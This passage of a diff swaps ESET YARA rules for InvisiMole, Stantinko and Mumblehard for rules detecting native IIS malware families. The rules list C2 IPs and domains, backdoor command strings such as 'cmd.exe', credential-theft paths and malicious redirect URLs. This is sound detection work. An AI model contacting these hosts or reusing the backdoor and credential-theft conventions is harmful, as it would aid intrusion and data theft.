wide - $s19 = "Value_Bck" wide - $s20 = "Value_WSFX_ZC" wide - $s21 = "MachineAccessStateData" wide - $s22 = "SettingsSR2" wide + $i1 = "RGSESSIONID=" + $s2 = "upload$" + $s3 = "download$" + $s4 = "cmd$" + $s5 = "cmd.exe" condition: - (( uint16( 0 ) == 0x5A4D ) or ESET_Invisimole_Blob_PRIVATE ) and 5 of ( $s* ) + ESET_IIS_Native_Module_PRIVATE and ( $i1 or all of ( $s* ) ) } -rule ESET_Apt_Windows_Invisimole : FILE +rule ESET_IIS_Group05_Iistealer { meta: - description = "InvisiMole magic values, keys and strings" + description = "Detects Group 5 native IIS malware family (IIStealer)" author = "ESET Research" - id = "4d48996b-9792-57ba-a302-349220323712" - date = "2021-05-17" - modified = "2021-05-17" + id = "598ec6b2-0349-5da7-acad-72ef2468b927" + date = "2021-08-04" + modified = "2021-08-04" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/invisimole/invisimole.yar#L215-L255" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/badiis/badiis.yar#L201-L232" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "7a2cff9febe77d718089ba4e1a33f3487594588892e418cec685bf22b156fa2b" + logic_hash = "5dff445121fda59df805d6fcb5db3f8f8e52a6e63e2da2a6875f8c9ad9cafc72" score = 75 quality = 80 - tags = "FILE" + tags = "" license = "BSD 2-Clause" version = "1" strings: - $s1 = "CryptProtectData" - $s2 = "CryptUnprotectData" - $s3 = {9E 01 3A AD} - $s4 = "GET /getversion2a/%d%.2X%.2X/U%sN HTTP/1.1" - $s5 = "PULSAR_LOADER.dll" - $check_magic_old_32 = {3? F9 FF D0 DE} - $check_magic_old_64 = {3? 64 FF D0 DE} - $check_magic_new_32 = {81 3? 86 DA 11 CE} - $check_magic_new_64 = {81 3? 64 DA 11 CE} + $s1 = "tojLrGzFMbcDTKcH" ascii wide + $s2 = "4vUOj3IutgtrpVwh" ascii wide + $s3 = "SoUnRCxgREXMu9bM" ascii wide + $s4 = "9Zr1Z78OkgaXj1Xr" ascii wide + $s5 = "cache.txt" ascii wide + $s6 = "/checkout/checkout.aspx" ascii wide + $s7 = "/checkout/Payment.aspx" ascii wide + $s8 = "/privacy.aspx" + $s9 = "X-IIS-Data" + $s10 = "POST" + $s11 = {C7 ?? CF 2F 00 63 00 C7 ?? D3 68 00 65 00 C7 ?? D7 63 00 6B 00 C7 ?? DB 6F 00 75 00 C7 ?? DF 74 00 2F 00 C7 ?? E3 63 00 68 00 C7 ?? E7 65 00 63 00 C7 ?? EB 6B 00 6F 00 C7 ?? EF 75 00 74 00 C7 ?? F3 2E 00 61 00 C7 ?? F7 73 00 70 00 C7 ?? FB 78 00 00 00} + $s12 = {C7 ?? AF 2F 00 70 00 C7 ?? B3 72 00 69 00 C7 ?? B7 76 00 61 00 C7 ?? BB 63 00 79 00 C7 ?? BF 2E 00 61 00 C7 ?? C3 73 00 70 00 C7 ?? C7 78 00 00 00} condition: - (( uint16( 0 ) == 0x5A4D ) or ESET_Invisimole_Blob_PRIVATE ) and ( any of ( $check_magic* ) ) and ( 2 of ( $s* ) ) + ESET_IIS_Native_Module_PRIVATE and 3 of ( $s* ) } -rule ESET_Apt_Windows_Invisimole_C2 : FILE +rule ESET_IIS_Group06_ISN { meta: - description = "InvisiMole C&C servers" + description = "Detects Group 6 native IIS malware family (ISN)" author = "ESET Research" - id = "9279c8cd-2c16-5f90-a7f5-e668d57c805b" - date = "2021-05-17" - modified = "2021-05-17" + id = "1f68fc42-61a3-5a7d-9daa-31ae3b561837" + date = "2021-08-04" + modified = "2021-08-04" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/invisimole/invisimole.yar#L257-L297" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/badiis/badiis.yar#L234-L259" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "aff8456ce7a9ebe875c02e51c09b77ee7b1fddfc11d4ad236e12c8c5240a01a8" + logic_hash = "2f59034a642a9b92fc88922433cd5923be02332159cba5e16d99d9523ed43205" score = 75 - quality = 78 - tags = "FILE" + quality = 80 + tags = "" license = "BSD 2-Clause" version = "1" strings: - $s1 = "46.165.220.228" ascii wide - $s2 = "80.255.3.66" ascii wide - $s3 = "85.17.26.174" ascii wide - $s4 = "185.193.38.55" ascii wide - $s5 = "194.187.249.157" ascii wide - $s6 = "195.154.255.211" ascii wide - $s7 = "153.re" ascii wide fullword - $s8 = "adstat.red" ascii wide - $s9 = "adtrax.net" ascii wide - $s10 = "akamai.sytes.net" ascii wide - $s11 = "amz-eu401.com" ascii wide - $s12 = "blabla234342.sytes.net" ascii wide - $s13 = "mx1.be" ascii wide fullword - $s14 = "statad.de" ascii wide - $s15 = "time.servehttp.com" ascii wide - $s16 = "upd.re" ascii wide fullword - $s17 = "update.xn--6frz82g" ascii wide - $s18 = "updatecloud.sytes.net" ascii wide - $s19 = "updchecking.sytes.net" ascii wide - $s20 = "wlsts.net" ascii wide - $s21 = "ro2.host" ascii wide fullword - $s22 = "2ld.xyz" ascii wide fullword - $s23 = "the-haba.com" ascii wide - $s24 = "82.202.172.134" ascii wide - $s25 = "update.xn--6frz82g" ascii wide + $s1 = "isn7 config reloaded" + $s2 = "isn7 config NOT reloaded, not found or empty" + $s3 = "isn7 log deleted" + $s4 = "isn7 log not deleted, ERROR 0x%X" + $s5 = "isn7 log NOT found" + $s6 = "isn_reloadconfig" + $s7 = "D:\\soft\\Programming\\C++\\projects\\isapi\\isn7" + $s8 = "get POST failed %d" + $s9 = "isn7.dll" condition: - (( uint16( 0 ) == 0x5A4D ) or ESET_Invisimole_Blob_PRIVATE ) and $s21 and any of them + ESET_IIS_Native_Module_PRIVATE and 3 of ( $s* ) } -rule ESET_Mumblehard_Packer +rule ESET_IIS_Group07_Iispy { meta: - description = "Mumblehard i386 assembly code responsible for decrypting Perl code" - author = "Marc-Etienne M.Léveillé" - id = "981c18e3-ac28-54f5-97ab-44b1d12a1389" - date = "2015-04-07" - modified = "2015-05-01" - reference = "http://www.welivesecurity.com" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/mumblehard/mumblehard_packer.yar#L32-L47" + description = "Detects Group 7 native IIS malware family (IISpy)" + author = "ESET Research" + id = "64ed0189-a0be-5592-b9c6-1622700a7ed7" + date = "2021-08-04" + modified = "2021-08-04" + reference = "https://github.com/eset/malware-ioc/" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/badiis/badiis.yar#L261-L296" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "a04f50a7054c4ce8ad9be4e7f3373ad4f36eb9443e223601974e852c25603f5f" + logic_hash = "ec5db5f36d06f9b0bdfe598fc72431da35afc1473dcc29f437a0f48ea9835a03" score = 75 quality = 80 tags = "" + license = "BSD 2-Clause" version = "1" strings: - $decrypt = { 31 db [1-10] ba ?? 00 00 00 [0-6] (56 5f | 89 F7) - 39 d3 75 13 81 fa ?? 00 00 00 75 02 31 d2 81 c2 ?? 00 00 - 00 31 db 43 ac 30 d8 aa 43 e2 e2 } + $s1 = "/credential/username" + $s2 = "/credential/password" + $s3 = "/computer/domain" + $s4 = "/computer/name" + $s5 = "/password" + $s6 = "/cmd" + $s7 = "%.8s%.8s=%.8s%.16s%.8s%.16s" + $s8 = "ImpersonateLoggedOnUser" + $s9 = "WNetAddConnection2W" + $t1 = "X-Forwarded-Proto" + $t2 = "Sec-Fetch-Mode" + $t3 = "Sec-Fetch-Site" + $t4 = "Cookie" + $t5 = {49 45 4E 44 AE 42 60 82} + $t6 = {89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52} condition: - $decrypt + ESET_IIS_Native_Module_PRIVATE and 2 of ( $s* ) and any of ( $t* ) } - -rule ESET_Beds_Plugin +rule ESET_IIS_Group08 { meta: - description = "No description has been set in the source file - ESET" - author = "ESET TI" - id = "7c038e92-1064-503e-9d63-2d2c10f1759e" - date = "2017-07-17" - modified = "2017-07-20" + description = "Detects Group 8 native IIS malware family" + author = "ESET Research" + id = "d0e9a5ec-b7f0-5d3f-93b4-d048503eb210" + date = "2021-08-04" + modified = "2021-08-04" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/stantinko/stantinko.yar#L34-L51" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/badiis/badiis.yar#L298-L337" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "024cb91288f133e4cdf5993ac0477de6de76d38fa06f7affa348c6a28a4600da" + logic_hash = "d5826d454d25ecbbb5da464da974023a247517d873cf10dc0eafa91e185451da" score = 75 - quality = 80 + quality = 53 tags = "" - Author = "Frédéric Vachon" - Description = "Stantinko BEDS' plugins" - Contact = "github@eset.com" - License = "BSD 2-Clause" - - condition: - pe.exports( "CheckDLLStatus" ) and pe.exports ( "GetPluginData" ) and pe.exports ( "InitializePlugin" ) and pe.exports ( "IsReleased" ) and pe.exports ( "ReleaseDLL" ) -} + license = "BSD 2-Clause" + version = "1" -rule ESET_Beds_Dropper -{ - meta: - description = "No description has been set in the source file - ESET" - author = "ESET TI" - id = "47ccab59-253f-55d4-b38a-4441802626fc" - date = "2017-07-17" - modified = "2017-07-20" - reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/stantinko/stantinko.yar#L53-L67" - license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "4b5d121e182e3fddd766a7a1227c5de273995e9336156e7a6e8a17faad681bea" - score = 75 - quality = 80 - tags = "" - Author = "Frédéric Vachon" - Description = "BEDS dropper" - Contact = "github@eset.com" - License = "BSD 2-Clause" + strings: + $i1 = "FliterSecurity.dll" + $i2 = "IIS7NativeModule.dll" + $i3 = "Ver1.0." + $s1 = "Cmd" + $s2 = "Realy path : %s" + $s3 = "Logged On Users : %d" + $s4 = "Connect OK!" + $s5 = "You are fucked!" + $s6 = "Shit!Error" + $s7 = "Where is the God!!" + $s8 = "Shit!Download False!" + $s9 = "Good!Run OK!" + $s10 = "Shit!Run False!" + $s11 = "Good!Download OK!" + $s12 = "[%d]safedog" + $s13 = "ed81bfc09d069121" + $s14 = "a9478ef01967d190" + $s15 = "af964b7479e5aea2" + $s16 = "1f9e6526bea65b59" + $s17 = "2b9e9de34f782d31" + $s18 = "33cc5da72ac9d7bb" + $s19 = "b1d71f4c2596cd55" + $s20 = "101fb9d9e86d9e6c" condition: - pe.imphash( ) == "a7ead4ef90d9981e25728e824a1ba3ef" + ESET_IIS_Native_Module_PRIVATE and 1 of ( $i* ) and 3 of ( $s* ) } -rule ESET_Facebook_Bot : FILE +rule ESET_IIS_Group09 { meta: - description = "No description has been set in the source file - ESET" - author = "ESET TI" - id = "643b137f-af79-584c-8266-f2335a79f1ba" - date = "2017-07-17" - modified = "2017-07-20" + description = "Detects Group 9 native IIS malware family" + author = "ESET Research" + id = "69d176bc-73b1-5c4d-bb7e-463d26e8e6a9" + date = "2021-08-04" + modified = "2021-08-04" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/stantinko/stantinko.yar#L69-L100" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/badiis/badiis.yar#L339-L387" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "8ea779f90fa6080398403e3e6f9d342360c35e93c756ed43cb699f090106504e" + logic_hash = "5f89f9488221b8db8d493b3c23b7f5edd957c15511148eca890558886c128192" score = 75 - quality = 55 - tags = "FILE" - Author = "Frédéric Vachon" - Description = "Stantinko's Facebook bot" - Contact = "github@eset.com" - License = "BSD 2-Clause" + quality = 76 + tags = "" + license = "BSD 2-Clause" + version = "1" strings: - $s1 = "m_upload_pic&return_uri=https%3A%2F%2Fm.facebook.com%2Fprofile.php" fullword ascii - $s2 = "D:\\work\\brut\\cms\\facebook\\facebookbot\\Release\\facebookbot.pdb" fullword ascii - $s3 = "https%3A%2F%2Fm.facebook.com%2Fcomment%2Freplies%2F%3Fctoken%3D" fullword ascii - $s4 = "reg_fb_gate=https%3A%2F%2Fm.facebook.com%2Freg" fullword ascii - $s5 = "reg_fb_ref=https%3A%2F%2Fm.facebook.com%2Freg%2F" fullword ascii - $s6 = "&return_uri_error=https%3A%2F%2Fm.facebook.com%2Fprofile.php" fullword ascii - $x1 = "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36" fullword ascii - $x2 = "registration@facebookmail.com" fullword ascii - $x3 = "https://m.facebook.com/profile.php?mds=" fullword ascii - $x4 = "https://upload.facebook.com/_mupload_/composer/?profile&domain=" fullword ascii - $x5 = "http://staticxx.facebook.com/connect/xd_arbiter.php?version=42#cb=ff43b202c" fullword ascii - $x6 = "https://upload.facebook.com/_mupload_/photo/x/saveunpublished/" fullword ascii - $x7 = "m.facebook.com&ref=m_upload_pic&waterfall_source=" fullword ascii - $x8 = "payload.commentID" fullword ascii - $x9 = "profile.login" fullword ascii + $i1 = "FliterSecurity.dll" + $i2 = {56565656565656565656565656565656} + $i3 = "app|hot|alp|svf|fkj|mry|poc|doc|20" xor + $i4 = "yisouspider|yisou|soso|sogou|m.sogou|sogo|sogou|so.com|baidu|bing|360" xor + $i5 = "baidu|m.baidu|soso|sogou|m.sogou|sogo|sogou|so.com|google|youdao" xor + $i6 = "118|abc|1go|evk" xor + $s1 = "AVCFuckHttpModuleFactory" + $s2 = "X-Forward" + $s3 = "fuck32.dat" + $s4 = "fuck64.dat" + $s5 = "&ipzz1=" + $s6 = "&ipzz2=" + $s7 = "&uuu=" + $s8 = "http://20.3323sf.c" xor + $s9 = "http://bj.whtjz.c" xor + $s10 = "http://bj2.wzrpx.c" xor + $s11 = "http://cs.whtjz.c" xor + $s12 = "http://df.e652.c" xor + $s13 = "http://dfcp.yyphw.c" xor + $s14 = "http://es.csdsx.c" xor + $s15 = "http://hz.wzrpx.c" xor + $s16 = "http://id.3323sf.c" xor + $s17 = "http://qp.008php.c" xor + $s18 = "http://qp.nmnsw.c" xor + $s19 = "http://sc.300bt.c" xor + $s20 = "http://sc.wzrpx.c" xor + $s21 = "http://sf2223.c" xor + $s22 = "http://sx.cmdxb.c" xor + $s23 = "http://sz.ycfhx.c" xor + $s24 = "http://xpq.0660sf.c" xor + $s25 = "http://xsc.b1174.c" xor condition: - ( uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( 1 of ( $s* ) or 3 of ( $x* ) ) ) or ( all of them ) + ESET_IIS_Native_Module_PRIVATE and any of ( $i* ) and 3 of ( $s* ) } -rule ESET_Pds_Plugins : FILE +rule ESET_IIS_Group10 { meta: - description = "No description has been set in the source file - ESET" - author = "ESET TI" - id = "dfa75db5-f21c-5b5e-84ba-3bfdcc3efdcd" - date = "2017-07-17" - modified = "2017-07-20" + description = "Detects Group 10 native IIS malware family" + author = "ESET Research" + id = "31368b38-9128-594d-888d-e97d3edc7a1f" + date = "2021-08-04" + modified = "2021-08-04" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/stantinko/stantinko.yar#L102-L130" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/badiis/badiis.yar#L389-L423" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "26bbd380b72fb45206178639d67c8737b9984b140ba1048432949e159946c847" + logic_hash = "48701168d7da726222227ef757f1a4005a49c0bf300123319ce03db09445b3ef" score = 75 quality = 80 - tags = "FILE" - Author = "Frédéric Vachon" - Description = "Stantinko PDS' plugins" - Contact = "github@eset.com" - License = "BSD 2-Clause" + tags = "" + license = "BSD 2-Clause" + version = "1" strings: - $s1 = "std::_Vector_val<CHTTPPostItem *,std::allocator<CHTTPPostItem *> >" fullword ascii - $s2 = "std::_Vector_val<CHTTPHeader *,std::allocator<CHTTPHeader *> >" fullword ascii - $s3 = "std::vector<CHTTPHeader *,std::allocator<CHTTPHeader *> >" fullword ascii - $s4 = "std::vector<CHTTPPostItem *,std::allocator<CHTTPPostItem *> >" fullword ascii - $s5 = "CHTTPHeaderManager" fullword ascii - $s6 = "CHTTPPostItemManager *" fullword ascii - $s7 = "CHTTPHeaderManager *" fullword ascii - $s8 = "CHTTPPostItemManager" fullword ascii - $s9 = "CHTTPHeader" fullword ascii - $s10 = "CHTTPPostItem" fullword ascii - $s11 = "std::vector<CCookie *,std::allocator<CCookie *> >" fullword ascii - $s12 = "std::_Vector_val<CCookie *,std::allocator<CCookie *> >" fullword ascii - $s13 = "CCookieManager *" fullword ascii + $s1 = "IIS7.dll" + $s2 = "<title>(.*?)title(.*?)>" + $s3 = "<meta(.*?)name(.*?)=(.*?)keywords(.*?)>" + $s4 = "<meta(.*?)name(.*?)=(.*?)description(.*?)>" + $s5 = "js.breakavs.co" + $s6 = "微信群-赛车PK10群【进群微信fun57644】_幸运飞艇_幸运28群" + $s7 = "北京赛车微信群,北京微信赛车群,北京赛车微信群,PK10群,北京赛车pk10微信群,PK10微信群,赛车微信群,北京赛车群," + $s8 = "北京赛车微信群,北京微信赛车群【进群微信号fun57644】北京微信赛车群,北京微信赛车" + $e1 = "Baiduspider" + $e2 = "Sosospider" + $e3 = "Sogou web spider" + $e4 = "360Spider" + $e5 = "YisouSpider" + $e6 = "sogou.com" + $e7 = "soso.com" + $e8 = "uc.cn" + $e9 = "baidu.com" + $e10 = "sm.cn" condition: - ( uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( 2 of ( $s* ) ) ) + ESET_IIS_Native_Module_PRIVATE and 2 of ( $e* ) and 3 of ( $s* ) } -rule ESET_Stantinko_Pdb +rule ESET_IIS_Group11 { meta: - description = "No description has been set in the source file - ESET" - author = "ESET TI" - id = "24694e53-b89e-5cd3-ad53-e738bbd7d69d" - date = "2017-07-17" - modified = "2017-07-20" + description = "Detects Group 11 native IIS malware family" + author = "ESET Research" + id = "e9dac67a-1675-5198-ad26-d555696844f9" + date = "2021-08-04" + modified = "2021-08-04" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/stantinko/stantinko.yar#L132-L148" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/badiis/badiis.yar#L425-L455" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "902c0ee086ce1a8def831d2f30c868165198c6c304faac3a93116a524f8e2fbf" + logic_hash = "a67b6b49b5fc2c7f260c06201c59478f5472de63091c510af82d526c410abb0c" score = 75 quality = 80 tags = "" - Author = "Frédéric Vachon" - Description = "Stantinko malware family PDB path" - Contact = "github@eset.com" - License = "BSD 2-Clause" + license = "BSD 2-Clause" + version = "1" strings: - $s1 = "D:\\work\\service\\service\\" ascii + $s1 = "DnsQuery_A" + $s2 = "&reurl=" + $s3 = "&jump=1" + $s4 = "JVVRaeof" + $s5 = "ncpmg::0" + $s6 = "zkpzz0cnnuqwnw0eqo" + $s7 = "jvvr<11yyy0cnnuqwnw0eqo130rjrAeofqwv?" condition: - all of them + ESET_IIS_Native_Module_PRIVATE and 3 of ( $s* ) } -rule ESET_Stantinko_Droppers : FILE +rule ESET_IIS_Group12 { meta: - description = "No description has been set in the source file - ESET" - author = "ESET TI" - id = "fe2e6987-929a-59e3-a9ec-01a9f55fe589" - date = "2017-07-17" - modified = "2017-07-20" + description = "Detects Group 12 native IIS malware family" + author = "ESET Research" + id = "7278f2df-d18a-5d95-9c21-37906629a7f0" + date = "2021-08-04" + modified = "2021-08-04" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/stantinko/stantinko.yar#L150-L170" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/badiis/badiis.yar#L457-L495" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "c56fc85834a3e1bb1c14da37fb509c7de3009bf81d52800fe0093dc489f6deaa" + logic_hash = "8da03328e3702aff8ea5de77fc220f326030c31972d27c0bd9b5918dca550aba" score = 75 - quality = 80 - tags = "FILE" - Author = "Marc-Etienne M.Léveillé" - Description = "Stantinko droppers" - Contact = "github@eset.com" - License = "BSD 2-Clause" + quality = 78 + tags = "" + license = "BSD 2-Clause" + version = "1" strings: - $s1 = {55 8B EC 83 EC 08 53 56 BE 80 F4 45 00 57 81 EE 80 0E 41 00 56 E8 6D 23 00 00 56 8B D8 68 80 0E 41 00 53 89 5D F8 E8 65 73 00 00 8B 0D FC F5 45} - $s2 = {7E 5E 7F 8C 08 46 00 00 AB 57 1A BB 91 5C 00 00 FA CC FD 76 90 3A 00 00} + $s1 = "C:\\inetpub\\temp\\IIS Temporary Compressed Files\\" + $s2 = "F5XFFHttpModule.dll" + $s3 = "gtest_redir" + $s4 = "\\cmd.exe" nocase + $s5 = "iuuq;00" + $s6 = "?xhost=" + $s7 = "&reurl=" + $s8 = "?jump=1" + $s9 = "app|zqb" + $s10 = "ifeng|ivc|sogou|so.com|baidu|google|youdao|yahoo|bing|118114|biso|gougou|sooule|360|sm|uc" + $s11 = "sogou|so.com|baidu|google|youdao|yahoo|bing|gougou|sooule|360|sm.cn|uc" + $s12 = "Hotcss/|Hotjs/" + $s13 = "HotImg/|HotPic/" + $s14 = "msf connect error !!" + $s15 = "download ok !!" + $s16 = "download error !! " + $s17 = "param error !!" + $s18 = "Real Path: " + $s19 = "unknown cmd !" + $b1 = {15 BD 01 2E [-] 5E 40 08 97 [-] CF 8C BE 30 [-] 28 42 C6 3B} + $b2 = {E1 0A DC 39 [-] 49 BA 59 AB [-] BE 56 E0 57 [-] F2 0F 88 3E} condition: - uint16( 0 ) == 0x5A4D and 1 of them + ESET_IIS_Native_Module_PRIVATE and 5 of them } - -rule ESET_Stantinko_D3D +rule ESET_IIS_Group13_Iiserpent { meta: - description = "No description has been set in the source file - ESET" - author = "ESET TI" - id = "6652e55c-96a0-55a7-9941-7f32bbf984e5" - date = "2017-07-17" - modified = "2017-07-20" + description = "Detects Group 13 native IIS malware family (IISerpent)" + author = "ESET Research" + id = "f22dffb1-466f-5a7b-b9aa-de7ba991db1a" + date = "2021-08-04" + modified = "2021-08-04" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/stantinko/stantinko.yar#L172-L187" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/badiis/badiis.yar#L497-L523" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "4e8da3f11df15e4aa469db62961ae390c4c4df2a5335eec0bdab19b14cc8343d" + logic_hash = "7077b842c53ee1581ad4150cdfaac3502bfc0fbd3b823190ad648e09f36e442d" score = 75 quality = 80 tags = "" - Author = "Marc-Etienne M.Léveillé" - Description = "Stantinko d3dadapter component" - Contact = "github@eset.com" - License = "BSD 2-Clause" + license = "BSD 2-Clause" + version = "1" + + strings: + $s1 = "/mconfig/lunlian.txt" + $s2 = "http://sb.qrfy.ne" + $s3 = "folderlinkpath" + $s4 = "folderlinkcount" + $s5 = "onlymobilespider" + $s6 = "redirectreferer" + $s7 = "loadSuccessfull : " + $s8 = "spider" + $s9 = "<a href=" + $s11 = "?ReloadModuleConfig=1" + $s12 = "?DisplayModuleConfig=1" condition: - pe.exports( "EntryPoint" ) and pe.exports ( "ServiceMain" ) and pe.imports ( "WININET.DLL" , "HttpAddRequestHeadersA" ) + ESET_IIS_Native_Module_PRIVATE and 5 of them } -rule ESET_Stantinko_Ihctrl32 +rule ESET_IIS_Group14 { meta: - description = "No description has been set in the source file - ESET" - author = "ESET TI" - id = "e8ab9f78-f438-5d9b-8407-e6c7e241da2c" - date = "2017-07-17" - modified = "2017-07-20" + description = "Detects Group 14 native IIS malware family" + author = "ESET Research" + id = "c773b09e-9f24-5e75-ba80-4be69af70b06" + date = "2021-08-04" + modified = "2021-08-04" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/stantinko/stantinko.yar#L189-L209" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/badiis/badiis.yar#L525-L552" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "1829e08fb2289f738d0e75ad9977169e9a94379da764b1766f23fa47e8bc2543" + logic_hash = "ef10a4dfb1a9164533677416a7c9ada715ce10bfc1e5f92b56cf54bd890d4575" score = 75 quality = 80 tags = "" - Author = "Marc-Etienne M.Léveillé" - Description = "Stantinko ihctrl32 component" - Contact = "github@eset.com" - License = "BSD 2-Clause" + license = "BSD 2-Clause" + version = "1" strings: - $s1 = "ihctrl32.dll" - $s2 = "win32_hlp" - $s3 = "Ihctrl32Main" - $s4 = "I%citi%c%size%s%c%ci%s" - $s5 = "Global\\Intel_hctrl32" + $i1 = "agent-self: %s" + $i2 = "/utf.php?key=" + $i3 = "/self.php?v=" + $i4 = "<script type=\"text/javascript\" src=\"//speed.wlaspsd.co" + $i5 = "now.asmkpo.co" + $s1 = "Baiduspider" + $s2 = "360Spider" + $s3 = "Sogou" + $s4 = "YisouSpider" + $s6 = "HTTP_X_FORWARDED_FOR" condition: - 2 of them + ESET_IIS_Native_Module_PRIVATE and 2 of ( $i* ) or 5 of them } -rule ESET_Stantinko_Wsaudio +rule ESET_Apt_Windows_Invisimole_Logs : FILE { meta: - description = "No description has been set in the source file - ESET" - author = "ESET TI" - id = "623f4ac7-03ec-52df-b7bf-0a2055453c52" - date = "2017-07-17" - modified = "2017-07-20" + description = "Detects log files with collected created by InvisiMole's RC2CL backdoor" + author = "ESET Research" + id = "151883ad-1f44-55b4-b12a-f0d399527189" + date = "2021-05-17" + modified = "2021-05-17" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/stantinko/stantinko.yar#L211-L233" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/invisimole/invisimole.yar#L54-L77" license_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/LICENSE" - logic_hash = "45d92f1475f316ba50a9a4a3dd519d1186ed16c68bd2debe326736a1e3154562" + logic_hash = "d42423ccc768f1823c76d5cb2aec26434c796fc35bd4e2fbf435fcf7997d3ff0" score = 75 quality = 80 - tags = "" - Author = "Marc-Etienne M.Léveillé" - Description = "Stantinko wsaudio component" - Contact = "github@eset.com" - License = "BSD 2-Clause" - - strings: - $s1 = "GetInterface" - $s2 = "wsaudio.dll" - $s3 = "Global\\Wsaudio_Initialize" - $s4 = "SOFTWARE\\Classes\\%s.FieldListCtrl.1\\" + tags = "FILE" + license = "BSD 2-Clause" + version = "1" condition: - 2 of them + uint32( 0 ) == 0x08F1CAA1 or uint32( 0 ) == 0x08F1CAA2 or uint32( 0 ) == 0x08F1CCC0 or uint32( 0 ) == 0x08F2AFC0 or uint32( 0 ) == 0x083AE4DF or uint32( 0 ) == 0x18F2CBB1 or uint32( 0 ) == 0x1900ABBA or uint32( 0 ) == 0x24F2CEA1 or uint32( 0 ) == 0xDA012193 or uint32( 0 ) == 0xDA018993 or uint32( 0 ) == 0xDA018995 or uint32( 0 ) == 0xDD018991 } -rule ESET_Stantinko_Ghstore +rule ESET_Apt_Windows_Invisimole_SFX_Dropper : FILE { meta: - description = "No description has been set in the source file - ESET" - author = "ESET TI" - id = "ef9f0c27-35ea-5dd5-925f-09b6e043569d" - date = "2017-07-17" - modified = "2017-07-20" + description = "Detects trojanized InvisiMole files: patched RAR SFX droppers with added InvisiMole blobs (config encrypted XOR 2A at the end of a file)" + author = "ESET Research" + id = "08490bcd-3139-5fac-9c6c-5a32acb7217a" + date = "2021-05-17" + modified = "2021-05-17" reference = "https://github.com/eset/malware-ioc/" - source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/stantinko/stantinko.yar#L235-L255" + source_url = "https://github.com/eset/malware-ioc/blob/707f5b6899baf4e4911454e655a6428d9d3eeaa4/invisimole/invisimole.yar#L79-L95" license_url = 